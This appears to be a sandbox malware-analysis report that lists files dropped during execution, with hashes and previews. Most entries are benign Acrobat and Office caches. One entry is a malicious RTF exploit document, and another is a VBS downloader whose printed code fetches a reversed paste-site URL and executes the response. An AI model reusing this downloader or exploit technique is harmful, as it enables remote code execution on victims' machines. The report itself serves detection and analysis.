C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF5b6568.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.248343795645232
Encrypted:	false
SSDEEP:	6:aUoWBN+q2PP2nKuAl9OmbnIFUt8XUoldXZmw+XUold3VkwOP2nKuAl9OmbjLJ:aFWIvWHAahFUt8XFldX/+XFldF57HAae
MD5:	F6DE8F7F9D17380FB6F6826A0395EBFA
SHA1:	5B146E067081A9FD448A9B9514573B5B6532D521
SHA-256:	2217FAD4120B3248BE4181432DD57D35378927B0130EC5C9A34E0ABBBD29C8BC
SHA-512:	C8EB8F2AEFBB4072F8A632A98561236DB3E3CE97F39678CCD896DF35A08A69F1ADF3AD39DF4FFC68E6B80209567DF344484010A82721EDE09B1C3AAEDAB3FA7D
Malicious:	false
Reputation:	low
Preview:	2024/02/15-14:19:33.741 3188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/02/15-14:19:33.742 3188 Recovering log #3.2024/02/15-14:19:33.742 3188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.005597679101775777
Encrypted:	false
SSDEEP:	3:ImtVOM1xVlt/XSxdltIt/l:IiVfxlKxdXI1l
MD5:	FD55D575475A6BD81B055F46FA34BA8B
SHA1:	289A6344929F221E19D2F9097A5907FE42C03855
SHA-256:	261CE45767DBF1E61AAF67C5EC1D75C2FF5C02681DF96897D5B0EC56A0F8C2AB
SHA-512:	F2247D89C3268E838AE6F4BCDC1C4BB9C60E4F2E05B1763CD152811661A00B8BFC467F71009894676E38CE31229DF35F6FC9F2F19C2911698012D0594697F098
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	VLnk.....?......LhXJ ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	5.14859305498125
Encrypted:	false
SSDEEP:	24:kNid8HxPs3yTTtPmid8OPgx4s3yTDHBmid8HxPs3yTTtPmid8OPgx4s3yTDHBa:1kxPuyvthNgx4uyHfkxPuyvthNgx4uyw
MD5:	FCE71B64BAF106F5C0927EECEFEA6C02
SHA1:	4F77E36BB83232845C873C7063FFE1AA00BB19FA
SHA-256:	508A2291423497E590A1055F310905F1F3EECC479BEE0A11E0C6583763947FC9
SHA-512:	7C1DD4A949EDFA90D06886827253C8A18AFA3DD80ED281D1A8613DD0BED8742F63FF0542545F0360C60F0B591BF4AFFCD52F8DDDAD2FD92E92D23100EC9E1FDE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:276

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt16.lst.3784

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	5.14859305498125
Encrypted:	false
SSDEEP:	24:kNid8HxPs3yTTtPmid8OPgx4s3yTDHBmid8HxPs3yTTtPmid8OPgx4s3yTDHBa:1kxPuyvthNgx4uyHfkxPuyvthNgx4uyw
MD5:	FCE71B64BAF106F5C0927EECEFEA6C02
SHA1:	4F77E36BB83232845C873C7063FFE1AA00BB19FA
SHA-256:	508A2291423497E590A1055F310905F1F3EECC479BEE0A11E0C6583763947FC9
SHA-512:	7C1DD4A949EDFA90D06886827253C8A18AFA3DD80ED281D1A8613DD0BED8742F63FF0542545F0360C60F0B591BF4AFFCD52F8DDDAD2FD92E92D23100EC9E1FDE
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:276

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	5.14859305498125
Encrypted:	false
SSDEEP:	24:kNid8HxPs3yTTtPmid8OPgx4s3yTDHBmid8HxPs3yTTtPmid8OPgx4s3yTDHBa:1kxPuyvthNgx4uyHfkxPuyvthNgx4uyw
MD5:	FCE71B64BAF106F5C0927EECEFEA6C02
SHA1:	4F77E36BB83232845C873C7063FFE1AA00BB19FA
SHA-256:	508A2291423497E590A1055F310905F1F3EECC479BEE0A11E0C6583763947FC9
SHA-512:	7C1DD4A949EDFA90D06886827253C8A18AFA3DD80ED281D1A8613DD0BED8742F63FF0542545F0360C60F0B591BF4AFFCD52F8DDDAD2FD92E92D23100EC9E1FDE
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:276

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	9566
Entropy (8bit):	5.226610011802065
Encrypted:	false
SSDEEP:	192:eTA2j6Q6T766x626Oz6r606+6bfs6JtRZ65tsu6rtG16lMXY5B5Cfk:es4p0vTLcdfIfsmtRZEtsuatG1gMIzV
MD5:	63B24EA3A13EAC476D6309BB202EF459
SHA1:	89502C393549C20C933E4553F51F74F3DBE085EF
SHA-256:	2B4BE0BED267BBD4E4FFFC912A6C7ED6A8D4735DCF9B69FF90F37CDDEF4110EA
SHA-512:	2CB315DD00867DEE3A2CBC4017B59C53B41E817216FE0111A60947E1F0D81FF6767D8F7B5C406AAF9E6516BE716A086642AFFABBEFBE4C5B260437C89E3535EC
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.FileLength:92588.FileModTime:1426577650.WeightClass:400.WidthClass:5.AngleClass:0.DesignSize:240.NameArray:0,Mac,4,Adobe Pi Std.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt16.lst.3784

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	9566
Entropy (8bit):	5.226610011802065
Encrypted:	false
SSDEEP:	192:eTA2j6Q6T766x626Oz6r606+6bfs6JtRZ65tsu6rtG16lMXY5B5Cfk:es4p0vTLcdfIfsmtRZEtsuatG1gMIzV
MD5:	63B24EA3A13EAC476D6309BB202EF459
SHA1:	89502C393549C20C933E4553F51F74F3DBE085EF
SHA-256:	2B4BE0BED267BBD4E4FFFC912A6C7ED6A8D4735DCF9B69FF90F37CDDEF4110EA
SHA-512:	2CB315DD00867DEE3A2CBC4017B59C53B41E817216FE0111A60947E1F0D81FF6767D8F7B5C406AAF9E6516BE716A086642AFFABBEFBE4C5B260437C89E3535EC
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426577652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.FileLength:92588.FileModTime:1426577650.WeightClass:400.WidthClass:5.AngleClass:0.DesignSize:240.NameArray:0,Mac,4,Adobe Pi Std.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	128373
Entropy (8bit):	1.984352562880039
Encrypted:	false
SSDEEP:	384:hNzyk+spBXiosQUYuoB7OdnGbLq+ACtKzZQ9w/fQ1D+v+W2gnHwvAgIEyXG1oJ/J:nUwvgnHwvAP
MD5:	B4621E956E08FFC84D8E099B27014FEE
SHA1:	CB4604EED70C03ABADD11C5EF15E566B8A9802E4
SHA-256:	0C42B243A4C3673436D22F0C51033E2306005CDB0CFCB82A849452BD3E741CF7
SHA-512:	A99A6769B42241891C83EDD62CD4E4027BBF2F5BC716B4ED01CFDBE7312526C5DA8A3D37EB2D471C0A707952A6D8C9143A921FA7428B9F46105583549540DC47
Malicious:	false
Preview:	Adobe Acrobat Reader DC 19.0....?A12_SelectObject.................................................................................................................................................~~~@~~~ ........................................................................................~~~.~~~.~~~.....................................................................................~~~.~~~.~~~.~~~`................................................................................~~~.~~~.~~~.~~~.~~~`............................................................................~~~.~~~.~~~.~~~.~~~.~~~@........................................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~0....................................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~0................................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.............................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025591245842101852
Encrypted:	false
SSDEEP:	6:I3DPcpmwvvxggLRTi+vfbOozD6tRXv//4tfnRujlw//+GtluJ/eRuj:I3DP4B/ViozGTvYg3J/
MD5:	EBC64D1B601977EE260FD196317B5271
SHA1:	81E6E797F94BD994BC98BA019996E4D97CE32156
SHA-256:	21F0080C2BB13429B374C06AC8AE65EC786E1984E3E943CBD56FEA645C348AB6
SHA-512:	494E3D5827DF6F65437D060303C02BD09C9A2A3D357346842680C77CF22F4F6CE361817B1B455FCDE3DC2BA7F5EC88227E397E51EBF4837679ACCD2546277DCE
Malicious:	false
Preview:	......M.eFy...z..p.`}8J......F=S,...X.F...Fa.q................................2..I..iY..1..........?9.A.J..qD...).....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ISO-8859 text, with very long lines (5697), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	65439
Entropy (8bit):	3.0839530473925585
Encrypted:	false
SSDEEP:	1536:22efVeOytR02eOgkG21b5ZYoSR/mu773JosuqjXn:22geOmG2rKbmcJostz
MD5:	69F8E3FCA6EFE4E765B81C5B16A58B10
SHA1:	9E0E3ED7DB80B114169761D1685DE8D707BACC24
SHA-256:	40AD09FCE6196B847904BCCF7B7C326708F540A8B1D759E0AFB531E54066A97C
SHA-512:	B7C9EFBB32A6792B1EE3E5FC8A641C0CB02D04D3D3524DD20CD2B294A28050DAB6C483DDFDC4BBA42937CA54D7AFDF722C25ADAB565B9219D65602FEE95BD2AF
Malicious:	true
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	{\rt.........{\mmodsofilter351717706 \+}.{\477676506\|1^..4&4_(:%8`@.93[?,!&^:6?=9@`.11[:\|.40'1@73^%#&<?0@;$)53#22?##.4'1^/8^#2.]/[/?.,%?<=8_!=62+-?\|>?%''(.?.'?#_%%;^?=2>8<?,=>\|2&.$.;\|4`=\|]4\|52`>?~8.8?\|409,@.^1=!!-<^%^%_)+#5&^)-+~&&?@.4-*+_?=<?05?18'7=,88_.1)\|37;-/_#)2.:.<<0??^\|?4.!?.')=`??:1$$:??^'<3.[7^(=]~8#?[5&%?4+?$..#-:!0,68%3;/<>%1]?.;~-0<$`.7.(3?.5(;%(~-.^0_:=$2>@26=%...5\|?(>/,8?8$+-:@=,]7/&&?6`\|^%6:.~@(?6.6+9?!51.245=?$~632?:;?]@1~..?9565&1&:12#?0$+73-#>?5)46%+1'?<2#.9)?^9_>%)3'3=8~)8_[$-+.92??^/(?.6<%/;+#+46/6118/?2[.%;^31+4+.'!.0?!'?60?@(?_6\|='335=!).5.1(.?0?%6&@2`^6!%\|%[~?'9@?91??/$5#.)<.??8?.%;64>'!]/?=)!?8?;@^.[0``6!^4.~4@%?%2<58^#$#_%?^3.):~&;&6\|+:.\|).>-/2)%%>>\|.?\|!~[++~)?,5=<].^`_^&-%)\|:,3.].7?!?3!.:7)3(~2=@/'2@'=4`.$<##??7..=]%%?-@.<_.@0'?%,02!%?>>%?_,+^^/7.;+?_;(%$&?5^~.4?,-`>??2>.2^8?0=@7?.0[.,??0.:-!.<9%>?&53~<&^-.>?;?^~.0[?@.[#1+<3>$3&9:%?:>/,/]~+]9.$/+]6?;`:4#^.?$2=\|^2<&6?&>)1[?_1?<7\|+>`3&?/~?-2?0),?%?^?%4.%=?\|@'`.9%]&_1'+_&-5^[?$`&!*@8.<?

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\loveforsave[1].vbs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	604
Entropy (8bit):	3.444961980660846
Encrypted:	false
SSDEEP:	12:Q2x+xfkEdHALClUlgTbllPAB9Sl7/2U/SVsFf8fElI5VX:Q2x88ENAv6TDUgRT/SVsFf8fnVX
MD5:	CD8AC425DD5496C10D4D123D3708290B
SHA1:	D3F97E4CB0C36BFF404A9BCF65C5A5930A7D50CD
SHA-256:	A7EC40E4A96116518D8A00208714884BBCD1C0D4751CB645D9D73F2505B09740
SHA-512:	36BF7ABD4555683E192B697EA5D5FC3ACAE6BD48FCB27CF18053C94E58F043141AD5878D037331CAAA628C2602075F4E56BD987174D352D17CE13AB81B1E0F79
Malicious:	true
Preview:	..S.e.t. .r.e.c.t.i.t.u.d.e. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".W.i.n.H.t.t.p...W.i.n.H.t.t.p.R.e.q.u.e.s.t...5...1.".).....o.l.i.g.o.t.r.o.p.h.i.a. .=. .S.t.r.r.e.v.e.r.s.e.(.".m.X.G.n.e./.d./.e.e...e.t.s.a.p././.:.p.t.t.h.".).....r.e.c.t.i.t.u.d.e...O.p.e.n. .".G.E.T.".,.o.l.i.g.o.t.r.o.p.h.i.a.,. .F.a.l.s.e.....r.e.c.t.i.t.u.d.e...S.e.n.d.....a.z.e.i.t.a.d.o. .=. .r.e.c.t.i.t.u.d.e...R.e.s.p.o.n.s.e.T.e.x.t.....f.i.d.a.l.g.u.e.t.e. .a.z.e.i.t.a.d.o.....F.u.n.c.t.i.o.n. .f.i.d.a.l.g.u.e.t.e.(.a.m.e.d.r.o.n.t.a.d.o.).....E.x.e.c.u.t.e.G.l.o.b.a.l. .a.m.e.d.r.o.n.t.a.d.o.....E.n.d. .F.u.n.c.t.i.o.n.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2D4E0D6.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	44272
Entropy (8bit):	3.1394131894298454
Encrypted:	false
SSDEEP:	192:QBD5GNv/XSmkd3MKoVmPEO5qWGu8VN3Zbs6ci1YTVLy/hh8bAKcuXiuUJZyiPpWd:UDAg37oVmP7UWCVNd20KrOJlWYi
MD5:	0AE3E6CE5CECCDB9D4341E13C7A82AEC
SHA1:	DF4CF4BE4CFCD2A818B82465C79ACC4D85CF069A
SHA-256:	A4123EBED6496AC6B46657410598A82D2540946D9F32CD28E284FAC09CC702F8
SHA-512:	5D9048938E24D2C4940C2C2A7A76BAD719EDD12EB288263C92B333BA4786292825C9338446558416B36EF124217FB6CD5CC037BABBB84E5220FE8E97B0D2B070
Malicious:	false
Preview:	....l...........8...............~@..xW.. EMF.......+.......................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................<.......%...........%.......................R...p................................@..T.i.m.e.s. .N.e.w. .R.o.m.a.n..........................................................................`.......... .,.......,..... .,............. .D.......,.......,..... .,.....G................*..Ax...N..............T.i.m.e.s. .N.e.w. .R.o...F.....6.................,.................................................dv......%...........%...........%.......................T...T...........+...q........i.@...@....Z.......L...............<.......P... ...,...............T...T...,.......W...q........i.@...@,...Z.......L...............<.......P... ...,...............T...T...X...........q........i.@...@X...Z.......L...............<...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\43354082.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1505804
Entropy (8bit):	0.6121855760847089
Encrypted:	false
SSDEEP:	768:sjKnKW222JaEXM4espe2B/nwyFwx+VjRQ9+c4AgD7PHj8bKYEqQtVxGW6sQ6QHFV:sjS2Jh/4DADMXIok/2GiGs
MD5:	109370249CCE67A73918A898E0ACA6EB
SHA1:	A491EA7DD6AAA5E532B7153A8644075456585656
SHA-256:	1FC8D073DAEFFC4544103A1B5F398DBE8983F42FE044EB6CE9E7066C7A405802
SHA-512:	CED87B45B49A07EFC1D9DD82017EDE76936B90B023BBCE90CEB441FFE15F5A2FD56E6CC124B8FC56B8062C2C316418F0934A76060C63A87F13ECFEE06E45812A
Malicious:	false
Preview:	....l...........R...I............:...M.. EMF....................................@................................................................:...M..........S...J...Q...P...........R...I...................S...J...P...(...x........... ....:...M..(...S...J.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\463A196F.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 731 x 704, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	14442
Entropy (8bit):	7.887985838389699
Encrypted:	false
SSDEEP:	384:MDQoY6/Y/gQYZ8NwQxg9He3ov4RU/d0PPG1:joV/Y/gQYCNwQ6eK4RU6PP0
MD5:	898C1F73F97CECCE45FDF7E1C1DFC6B1
SHA1:	0F438F3D74E29A4859D9993887FC83B2DFB054F8
SHA-256:	911DDF76DAFCAC9A0E827AE82CC3475F6E6D199B0D7921D67ACF4CE9B13619AD
SHA-512:	6540C64D2BB7F9E5E189F3B7FDE2F664D07C5BC406D5080A042F4C9FBD29B98EE6CB51629BD2C1D5904897A525E9B470E4C66E3DD428E1B00D83EFC2527E90C1
Malicious:	false
Preview:	.PNG........IHDR.............u.N.....gAMA......a.....sRGB.........PLTE.......{...........-.......ppp.........V01x..=....`...x..._{..7..U..b......U0,....O.z..5......{....p..7..0.U..a..7.a..7....Z.......v4..4f..ev-._..8..\|..6...j>.....^..xW-2Tl..f...f.................z\..6`....\.j.. .IDATx..{o........H...zM948:Q....>..t.......{.~.j(u.ZR.....y{.z....z....(J...%t.....Id.....K.:?i.5.8{Ag...`......!..l_]F.%..6..m......!.../..6..!.lC.. ..A`.z../....i.V..;.w4...K.._].p_.@..v._.9.g....SY.Z.k.a.y.............K...~c`..r@_u...&:a.~...mN\.\.jn.........]...i...n.so..e\|..3.}6..+kw.......kO....G$.R'W...(...j..v...\|.....,2wg....K..........(..l.....#.N.P.?...j....~...;ko`.................9..g&VY#m....f.b..j~.]dc.........-...4..n..../G:..Ruu....Q...Nc..F...........n.....\|l.^....57.o..yV]....v..x...f.F6c..(..8...3{x..j)-]].#.@Z.....C.>wCP...!.....'5[.....kW...p%..N..1.....w.`...s.~'Bb}.e.u..w.[.;"GZ..qM.&4.5..[o.>x.2...S..oY......D.........-y.F..~#1By

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5157A1CC.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	591648
Entropy (8bit):	2.3065393626688353
Encrypted:	false
SSDEEP:	1536:woWM4MycF5BgE8YE27f6cPtG7Mc/izMjVh:woT4MfFwh
MD5:	0B5D1B80C07515042F678F66E27E7082
SHA1:	33FD8E6ED50DC0A536C90F4B42243AD346B4AED6
SHA-256:	6CF13680F0DD617519511E91244B2197D41D7E31FF36BF89941EFE56E04AA905
SHA-512:	C3C105AA584582837F60A0D9883A955C34583BCA83D84D6633CEDD125D0AA11C5F8B90265BA5E04B86E2BB06AAF60A1E285AA892DCF57808A5FE4FD0D0261AA3
Malicious:	false
Preview:	....l...........^...r...........QN...a.. EMF.... ...........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\67B361A6.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	45556
Entropy (8bit):	3.2389256176191146
Encrypted:	false
SSDEEP:	384:IAB0utfMq2/aXmD7YsZgyXrHUpNDEk1Y6iJV6smkgjYx16U+z0pdkblo3OhG+U:7Uq2/JjZgyrH+Xs6UaAdelo+C
MD5:	65103012FD0D90B64E04605779EBA439
SHA1:	E28FEF0979669A7CA78C0B17E21B551E361EF85E
SHA-256:	40DE1766B2589303FF3F0C27D6CA82A28EE5A6576B7F38BEEBA017E777881CCF
SHA-512:	E02F05C6C0AE825A2074AC3EF1C48BE527A239CB898D27EC8F6B4B6543B95C9FD0F7F1249C08EAC52AC3F7C1036E2F9D5EE73F7B3465C17AFE7E5390845F040D
Malicious:	false
Preview:	................g...g...........O-..O-.. EMF................:...l........'..}3.......................K...A..I.n.k.s.c.a.p.e. .0...9.2...3. .(.2.4.0.5.5.4.6.,. .2.0.1.8.-.0.3.-.1.1.)...B.o.t.t.o.m. .c.o.r.n.e.r...e.m.f...................$...$......?...........?............F...,... ...Screen=10205x13181px, 216x279mm.F...4...%...Drawing=438.1x436.0px, 115.9x115.4mm................................................................'...............0.......%...........;...............Z...+.......4.......................,......./.......`...u.......4.......................~...W.......P.......P.......4...........................P...B.......B...........4.......................B...#.......J.......J.......4...........................J...s...D...Z...+...=...........................4...............................{...................4...........................z.......i.......i.......4.......................G...i...t.......G...........4.......................%...;.......K...........=..............."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7506FB45.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	625744
Entropy (8bit):	2.6639386716301923
Encrypted:	false
SSDEEP:	1536:ZgrBn8f0QzCHS5EdBftEhd634Myzv5CNvDUyPClFxgk8YEi746cKIv7Mc/imlK+B:gQzCHS0Bfuhd634MMcgll0B
MD5:	700FAF3984B654D584EED7F2303F8B54
SHA1:	92931A81750E5C484B64181CF36266FDB4261411
SHA-256:	224172A076A812DE22918967D20FACC5ABBE6C10429986A7014E7A552C08124C
SHA-512:	BC6BE701023B3EAB68ED373131648CE47B7CE42069EE0E1307D2AB7DC8E25A8A2182E4529C8925304FC783AFDEFFF7411F958FDEB7591EE0DB2E137939BC6D44
Malicious:	false
